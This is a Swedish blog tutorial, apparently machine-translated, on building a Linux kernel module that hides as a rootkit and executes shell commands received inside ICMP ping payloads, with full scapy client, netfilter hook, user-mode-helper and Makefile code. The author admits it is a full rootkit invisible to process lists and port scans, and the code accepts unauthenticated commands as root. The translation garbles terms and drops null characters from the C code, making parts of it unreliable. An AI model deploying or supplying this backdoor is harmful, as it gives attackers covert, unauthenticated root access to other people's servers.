Kärnvapenskal över ICMP

Kärnvapenskal över ICMP

TL; DR: Jag skriver en kärnmodul som kommer att läsa kommandon från ICMP-nyttolasten och köra dem på servern även om din SSH kraschar. För de mest otåliga är all kod github.

Varning! Erfarna C-programmerare riskerar att brista i tårar av blod! Jag kan till och med ha fel i terminologin, men all kritik är välkommen. Inlägget är avsett för dig som har en väldigt grov uppfattning om C-programmering och vill titta på insidan av Linux.

I kommentarerna till min första artikeln nämnde SoftEther VPN, som kan efterlikna vissa "vanliga" protokoll, särskilt HTTPS, ICMP och till och med DNS. Jag kan föreställa mig att bara den första av dem fungerar, eftersom jag är mycket bekant med HTTP(S), och jag var tvungen att lära mig tunnling över ICMP och DNS.

Kärnvapenskal över ICMP

Ja, 2020 lärde jag mig att du kan infoga en godtycklig nyttolast i ICMP-paket. Men bättre sent än aldrig! Och eftersom något kan göras åt det, då måste det göras. Eftersom jag i mitt dagliga liv oftast använder kommandoraden, inklusive via SSH, kom idén med ett ICMP-skal till mig först. Och för att få ihop en komplett bullshield-bingo bestämde jag mig för att skriva den som en Linux-modul på ett språk som jag bara har en grov uppfattning om. Ett sådant skal kommer inte att synas i listan över processer, du kan ladda det i kärnan och det kommer inte att finnas i filsystemet, du kommer inte att se något misstänkt i listan över lyssningsportar. När det gäller dess möjligheter är detta ett fullfjädrat rootkit, men jag hoppas kunna förbättra det och använda det som ett skal av sista utväg när belastningsgenomsnittet är för högt för att logga in via SSH och köra åtminstone echo i > /proc/sysrq-triggerför att återställa åtkomst utan att starta om.

Vi tar en textredigerare, grundläggande programmeringskunskaper i Python och C, Google och virtuell som du inte har något emot att lägga under kniven om allt går sönder (valfritt - lokal VirtualBox/KVM/etc) och låt oss gå!

Klientsidan

Det verkade för mig att för klientdelen skulle jag behöva skriva ett manus med cirka 80 rader, men det fanns snälla människor som gjorde det åt mig allt arbete. Koden visade sig vara oväntat enkel och passade in i 10 betydande rader:

import sys
from scapy.all import sr1, IP, ICMP

if len(sys.argv) < 3:
    print('Usage: {} IP "command"'.format(sys.argv[0]))
    exit(0)

p = sr1(IP(dst=sys.argv[1])/ICMP()/"run:{}".format(sys.argv[2]))
if p:
    p.show()

Skriptet tar två argument, en adress och en nyttolast. Före sändning föregås nyttolasten av en nyckel run:, kommer vi att behöva det för att utesluta paket med slumpmässiga nyttolaster.

Kärnan kräver privilegier för att skapa paket, så skriptet måste köras som superanvändare. Glöm inte att ge körrättigheter och installera själva scapy. Debian har ett paket som heter python3-scapy. Nu kan du kolla hur det hela fungerar.

Köra och mata ut kommandot
morq@laptop:~/icmpshell$ sudo ./send.py 45.11.26.232 "Hello, world!"
Begin emission:
.Finished sending 1 packets.
*
Received 2 packets, got 1 answers, remaining 0 packets
###[ IP ]###
version = 4
ihl = 5
tos = 0x0
len = 45
id = 17218
flags =
frag = 0
ttl = 58
proto = icmp
chksum = 0x3403
src = 45.11.26.232
dst = 192.168.0.240
options
###[ ICMP ]###
type = echo-reply
code = 0
chksum = 0xde03
id = 0x0
seq = 0x0
###[ Raw ]###
load = 'run:Hello, world!

Så här ser det ut i sniffern
morq@laptop:~/icmpshell$ sudo tshark -i wlp1s0 -O icmp -f "icmp and host 45.11.26.232"
Running as user "root" and group "root". This could be dangerous.
Capturing on 'wlp1s0'
Frame 1: 59 bytes on wire (472 bits), 59 bytes captured (472 bits) on interface wlp1s0, id 0
Internet Protocol Version 4, Src: 192.168.0.240, Dst: 45.11.26.232
Internet Control Message Protocol
Type: 8 (Echo (ping) request)
Code: 0
Checksum: 0xd603 [correct] [Checksum Status: Good] Identifier (BE): 0 (0x0000)
Identifier (LE): 0 (0x0000)
Sequence number (BE): 0 (0x0000)
Sequence number (LE): 0 (0x0000)
Data (17 bytes)

0000 72 75 6e 3a 48 65 6c 6c 6f 2c 20 77 6f 72 6c 64 run:Hello, world
0010 21 !
Data: 72756e3a48656c6c6f2c20776f726c6421
[Length: 17]

Frame 2: 59 bytes on wire (472 bits), 59 bytes captured (472 bits) on interface wlp1s0, id 0
Internet Protocol Version 4, Src: 45.11.26.232, Dst: 192.168.0.240
Internet Control Message Protocol
Type: 0 (Echo (ping) reply)
Code: 0
Checksum: 0xde03 [correct] [Checksum Status: Good] Identifier (BE): 0 (0x0000)
Identifier (LE): 0 (0x0000)
Sequence number (BE): 0 (0x0000)
Sequence number (LE): 0 (0x0000)
[Request frame: 1] [Response time: 19.094 ms] Data (17 bytes)

0000 72 75 6e 3a 48 65 6c 6c 6f 2c 20 77 6f 72 6c 64 run:Hello, world
0010 21 !
Data: 72756e3a48656c6c6f2c20776f726c6421
[Length: 17]

^C2 packets captured

Nyttolasten i svarspaketet ändras inte.

Kärnmodul

För att bygga in en virtuell Debianmaskin behöver du minst make и linux-headers-amd64, resten kommer i form av beroenden. Jag kommer inte att tillhandahålla hela koden i artikeln; du kan klona den på Github.

Krokuppställning

Till att börja med behöver vi två funktioner för att ladda modulen och ladda ur den. Funktionen för lossning krävs inte, men då rmmod det kommer inte att fungera, modulen laddas bara ur när den stängs av.

#include <linux/module.h>
#include <linux/netfilter_ipv4.h>

static struct nf_hook_ops nfho;

static int __init startup(void)
{
  nfho.hook = icmp_cmd_executor;
  nfho.hooknum = NF_INET_PRE_ROUTING;
  nfho.pf = PF_INET;
  nfho.priority = NF_IP_PRI_FIRST;
  nf_register_net_hook(&init_net, &nfho);
  return 0;
}

static void __exit cleanup(void)
{
  nf_unregister_net_hook(&init_net, &nfho);
}

MODULE_LICENSE("GPL");
module_init(startup);
module_exit(cleanup);

Vad händer här:

  1. Två header-filer dras in för att manipulera själva modulen och nätfiltret.
  2. Alla operationer går genom ett nätfilter, du kan sätta krokar i det. För att göra detta måste du deklarera strukturen där kroken kommer att konfigureras. Det viktigaste är att specificera funktionen som kommer att exekveras som en krok: nfho.hook = icmp_cmd_executor; Jag kommer till själva funktionen senare.
    Sedan ställer jag in bearbetningstiden för paketet: NF_INET_PRE_ROUTING anger att bearbeta paketet när det först dyker upp i kärnan. Kan användas NF_INET_POST_ROUTING för att bearbeta paketet när det lämnar kärnan.
    Jag ställer in filtret på IPv4: nfho.pf = PF_INET;.
    Jag ger min krok högsta prioritet: nfho.priority = NF_IP_PRI_FIRST;
    Och jag registrerar datastrukturen som den faktiska kroken: nf_register_net_hook(&init_net, &nfho);
  3. Den sista funktionen tar bort kroken.
  4. Licensen är tydligt angiven så att kompilatorn inte klagar.
  5. funktioner module_init() и module_exit() ställ in andra funktioner för att initiera och avsluta modulen.

Hämtar nyttolasten

Nu måste vi extrahera nyttolasten, detta visade sig vara den svåraste uppgiften. Kärnan har inga inbyggda funktioner för att arbeta med nyttolaster; du kan bara analysera rubriker för protokoll på högre nivå.

#include <linux/ip.h>
#include <linux/icmp.h>

#define MAX_CMD_LEN 1976

char cmd_string[MAX_CMD_LEN];

struct work_struct my_work;

DECLARE_WORK(my_work, work_handler);

static unsigned int icmp_cmd_executor(void *priv, struct sk_buff *skb, const struct nf_hook_state *state)
{
  struct iphdr *iph;
  struct icmphdr *icmph;

  unsigned char *user_data;
  unsigned char *tail;
  unsigned char *i;
  int j = 0;

  iph = ip_hdr(skb);
  icmph = icmp_hdr(skb);

  if (iph->protocol != IPPROTO_ICMP) {
    return NF_ACCEPT;
  }
  if (icmph->type != ICMP_ECHO) {
    return NF_ACCEPT;
  }

  user_data = (unsigned char *)((unsigned char *)icmph + (sizeof(icmph)));
  tail = skb_tail_pointer(skb);

  j = 0;
  for (i = user_data; i != tail; ++i) {
    char c = *(char *)i;

    cmd_string[j] = c;

    j++;

    if (c == '')
      break;

    if (j == MAX_CMD_LEN) {
      cmd_string[j] = '';
      break;
    }

  }

  if (strncmp(cmd_string, "run:", 4) != 0) {
    return NF_ACCEPT;
  } else {
    for (j = 0; j <= sizeof(cmd_string)/sizeof(cmd_string[0])-4; j++) {
      cmd_string[j] = cmd_string[j+4];
      if (cmd_string[j] == '')
	break;
    }
  }

  schedule_work(&my_work);

  return NF_ACCEPT;
}

Vad händer:

  1. Jag var tvungen att inkludera ytterligare rubrikfiler, denna gång för att manipulera IP- och ICMP-huvuden.
  2. Jag ställer in den maximala radlängden: #define MAX_CMD_LEN 1976. Varför just detta? För att kompilatorn klagar på det! De har redan föreslagit mig att jag måste förstå stacken och högen, någon dag kommer jag definitivt att göra detta och kanske till och med korrigera koden. Jag satte omedelbart raden som ska innehålla kommandot: char cmd_string[MAX_CMD_LEN];. Det bör vara synligt i alla funktioner; jag kommer att prata om detta mer i detalj i avsnitt 9.
  3. Nu måste vi initiera (struct work_struct my_work;) strukturera och koppla den till en annan funktion (DECLARE_WORK(my_work, work_handler);). Jag kommer också att tala om varför detta är nödvändigt i nionde stycket.
  4. Nu deklarerar jag en funktion, som kommer att vara en krok. Typen och accepterade argument dikteras av nätfiltret, vi är bara intresserade av skb. Detta är en socketbuffert, en grundläggande datastruktur som innehåller all tillgänglig information om ett paket.
  5. För att funktionen ska fungera behöver du två strukturer och flera variabler, inklusive två iteratorer.
      struct iphdr *iph;
      struct icmphdr *icmph;
    
      unsigned char *user_data;
      unsigned char *tail;
      unsigned char *i;
      int j = 0;
  6. Vi kan börja med logik. För att modulen ska fungera behövs inga andra paket än ICMP Echo, så vi analyserar bufferten med hjälp av inbyggda funktioner och kastar ut alla icke-ICMP och icke-Echo-paket. Lämna tillbaka NF_ACCEPT innebär acceptans av paketet, men du kan även lämna paket genom att returnera NF_DROP.
      iph = ip_hdr(skb);
      icmph = icmp_hdr(skb);
    
      if (iph->protocol != IPPROTO_ICMP) {
        return NF_ACCEPT;
      }
      if (icmph->type != ICMP_ECHO) {
        return NF_ACCEPT;
      }

    Jag har inte testat vad som kommer att hända utan att kolla IP-huvudena. Min minimala kunskap om C säger mig att utan ytterligare kontroller kommer något hemskt att hända. Jag blir glad om du avråder mig från detta!

  7. Nu när paketet är av exakt den typ du behöver kan du extrahera data. Utan en inbyggd funktion måste du först få en pekare till början av nyttolasten. Detta görs på ett ställe, du måste ta pekaren till början av ICMP-huvudet och flytta det till storleken på denna rubrik. Allt använder struktur icmph: user_data = (unsigned char *)((unsigned char *)icmph + (sizeof(icmph)));
    Slutet på rubriken måste matcha slutet av nyttolasten in skb, därför erhåller vi det med hjälp av nukleära medel från motsvarande struktur: tail = skb_tail_pointer(skb);.

    Kärnvapenskal över ICMP

    Bilden blev stulen hence, kan du läsa mer om socket buffert.

  8. När du har pekare till början och slutet kan du kopiera data till en sträng cmd_string, kontrollera om det finns ett prefix run: och antingen kassera paketet om det saknas, eller skriv om raden igen, ta bort detta prefix.
  9. Det var allt, nu kan du ringa en annan hanterare: schedule_work(&my_work);. Eftersom det inte kommer att vara möjligt att skicka en parameter till ett sådant anrop måste raden med kommandot vara global. schedule_work() kommer att placera funktionen som är associerad med den passerade strukturen i den allmänna kön i uppgiftsschemaläggaren och slutföra, så att du inte kan vänta på att kommandot ska slutföras. Detta är nödvändigt eftersom kroken måste vara mycket snabb. Annars är ditt val att ingenting kommer att starta eller att du får en kärnpanik. Försening är som döden!
  10. Det är allt, du kan acceptera paketet med motsvarande retur.

Anropa ett program i användarutrymmet

Denna funktion är den mest begripliga. Dess namn gavs in DECLARE_WORK(), typen och accepterade argument är inte intressanta. Vi tar linjen med kommandot och skickar det helt till skalet. Låt honom ta itu med analys, sökning efter binärer och allt annat.

static void work_handler(struct work_struct * work)
{
  static char *argv[] = {"/bin/sh", "-c", cmd_string, NULL};
  static char *envp[] = {"PATH=/bin:/sbin", NULL};

  call_usermodehelper(argv[0], argv, envp, UMH_WAIT_PROC);
}

  1. Ställ in argumenten till en array av strängar argv[]. Jag antar att alla vet att program faktiskt körs på detta sätt, och inte som en kontinuerlig linje med mellanslag.
  2. Ställ in miljövariabler. Jag infogade bara PATH med ett minimum av banor, i hopp om att de alla redan var kombinerade /bin с /usr/bin и /sbin с /usr/sbin. Andra vägar spelar sällan roll i praktiken.
  3. Klart, låt oss göra det! Kärnfunktion call_usermodehelper() accepterar inträde. sökväg till binären, array av argument, array av miljövariabler. Här antar jag också att alla förstår innebörden av att skicka sökvägen till den körbara filen som ett separat argument, men du kan fråga. Det sista argumentet anger om man ska vänta på att processen ska slutföras (UMH_WAIT_PROC), processstart (UMH_WAIT_EXEC) eller inte vänta alls (UMH_NO_WAIT). Finns det några fler UMH_KILLABLE, jag tittade inte på det.

aggregatet

Sammansättningen av kärnmoduler utförs genom kärnans make-framework. Kallad make inuti en speciell katalog kopplad till kärnversionen (definierad här: KERNELDIR:=/lib/modules/$(shell uname -r)/build), och platsen för modulen skickas till variabeln M i argumenten. icmpshell.ko och rena mål använder detta ramverk helt och hållet. I obj-m indikerar objektfilen som kommer att konverteras till en modul. Syntax som gör om main.o в icmpshell.o (icmpshell-objs = main.o) ser inte särskilt logiskt ut för mig, men så är det.

KERNELDIR:=/lib/modules/$(shell uname -r)/build

obj-m = icmpshell.o
icmpshell-objs = main.o

all: icmpshell.ko

icmpshell.ko: main.c
make -C $(KERNELDIR) M=$(PWD) modules

clean:
make -C $(KERNELDIR) M=$(PWD) clean

Vi samlar in: make. Läser in: insmod icmpshell.ko. Klart, du kan kontrollera: sudo ./send.py 45.11.26.232 "date > /tmp/test". Om du har en fil på din maskin /tmp/test och den innehåller datumet då begäran skickades, vilket betyder att du gjorde allt rätt och jag gjorde allt rätt.

Slutsats

Min första erfarenhet av kärnkraftsutveckling var mycket lättare än jag förväntade mig. Även utan erfarenhet av att utveckla i C, med fokus på kompilatortips och Google-resultat, kunde jag skriva en fungerande modul och känna mig som en kärnhacker, och samtidigt en skriptbarn. Dessutom gick jag till Kernel Newbies-kanalen, där jag blev tillsagd att använda schedule_work() istället för att ringa call_usermodehelper() inne i själva kroken och skämde honom, med rätta misstänkt en bluff. Hundra rader kod kostade mig ungefär en veckas utveckling på fritiden. En framgångsrik upplevelse som förstörde min personliga myt om den överväldigande komplexiteten i systemutveckling.

Om någon går med på att göra en kodgranskning på Github är jag tacksam. Jag är ganska säker på att jag gjorde många dumma misstag, speciellt när jag arbetade med strängar.

Kärnvapenskal över ICMP

Källa: will.com

Lägg en kommentar